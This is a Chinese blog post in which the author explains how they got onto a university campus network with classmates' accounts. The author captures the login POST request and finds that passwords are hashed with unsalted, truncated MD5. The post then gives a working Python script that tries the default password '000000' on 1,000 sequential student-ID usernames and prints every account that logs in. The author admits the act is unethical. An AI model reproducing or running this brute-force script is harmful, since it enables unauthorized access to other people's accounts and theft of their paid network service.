用Python模拟登录“借”上网帐号

昨天同学让我帮忙下篇论文,发现自己的校内上网帐号有一段时间没充值了。登录校园网才能下论文,无奈问了周围的人却发现都没充值!(实验室可以免费上网大家都不充值了么)

懒得去充值,就想会不会有的上网帐号还是用的默认密码?如果有的话,岂不是可以“借来”用一下!虽然有些不道德,但是为了验证心里的想法还是忍不住下手了。

分析请求

首先当然是分析登录请求啦。我们学校的校园网登录网址为10.0.0.55。所以用 Chrome 打开登录网页,并打开开发者工具 -> Network,再输入用户名密码,点击登录。可以捕获到 POST 消息。

其中最重要的是两个信息,一个是 Request URL,另一个是 Form Data。前者是提交请求的网址,后者是提交的表单。表单里最重要的是 username 和 password 两个字段。后面的三个字段可以忽略。我们发现,表单中的密码是加密后提交的。会用的什么加密呢?我们去 JS 脚本里找找有什么。

在源代码的 head 标签内发现了大段的 JS 脚本,其中就有关于登录的。其实就是用了简单的 MD5 加密,并将加密结果截取了第 8 到 24 的字符。连 salt 都没有用到。

有了上面这些信息后,我们就可以构造请求了。这当然要拿出 Python 大法了。

模拟登录

用 Python 可以快速实现模拟登录,主要使用了 requests 库。

#encoding=utf8
import requests

### 登录页的url
url = 'http://10.0.0.55/cgi-bin/do_login'
### 有些网站反爬虫,这里用headers把程序伪装成浏览器
header = { 'User-Agent' : 'Mozilla/5.0 (Windows NT 6.1)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.101 Safari/537.36' }
### 登录需要提交的表单
form_data = {'username':'2220130260', #填入网站的上网帐号
'password':'8ad9902aecba32e2', #填入网站密码(加密后的)
'drop':0,
'type':1,
'n':100
}
s = requests.session()
response = s.post(url,data = form_data,headers = header)
print response.text

最终读取 response 的结果,我们可以判断登录是否成功。例如,上述代码运行的结果是password_error

借帐号

有了上面的模拟登录,我们就可以把它写成脚本,遍历成百上千个帐号。其实就是用循环构造每一个表单。

这里密码我们使用 hashlib 库来完成 MD5 加密。至于上网帐号,一般都是用学生学号作为上网帐号的,就拿最小的 13 级本科生开刀吧(谁让你们年少无知呢,记得改密码)。像 13 级本科生的学校是 112013 开头,我们就循环前 1000 个学生。

直接给出脚本代码吧!

#encoding=utf8
import requests
import hashlib

###登录页的url
url = 'http://10.0.0.55/cgi-bin/do_login'
###有些网站反爬虫,这里用headers把程序伪装成浏览器
header = { 'User-Agent' : 'Mozilla/5.0 (Windows NT 6.1)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.101 Safari/537.36' }

def md5(str):
m = hashlib.md5()
m.update(str)
return m.hexdigest()

def login(form_data):
s = requests.session()
#发出请请求
response = s.post(url,data = form_data,headers = header)
return response.content

def tryAccount(id_start,id_end,default_pass):
###登录需要提交的表单
form_data = {'username':'XXXXXX', #填入网站的用户名
'password':'XXXXXX', #填入网站密码(加密后的)
'drop':0,
'type':1,
'n':100
}

passwd = md5(default_pass)[8:24]
form_data['password'] = passwd #将加密后的密码填入表单

for i in range(id_start,id_end):
form_data['username'] = str(i) #将用户名填入表单
result = login(form_data) #登录,获取返回的 response 结果
if result != 'password_error' and result != 'username_error':
print str(i)+"\t"+result #打印账号、密码正确的学号...
print "\n上网不涉密,涉密不上网"

if __name__ == "__main__":
ID_START = 1120130000 #起始学号
ID_END = 1120131000 #结束学号
DEFAULT_PASS = "000000" #初始密码
tryAccount(ID_START,ID_END,DEFAULT_PASS)

运行脚本后得到如图。

显示的帐号都是用的默认密码的。返回的 response 结果中status_error 表示没充钱,ip_exist_error表示 IP 尚未下线。显示一串数字的就是可以直接登录的了!记得把帐号还给人家。

虽然最后还是没有下到论文,不过作为程序猿能把自己的想法用所学的实现了想想还是有些小激动的。

PS:发现研究生不改密码的比本科生还多,为什么呢?

-EOF-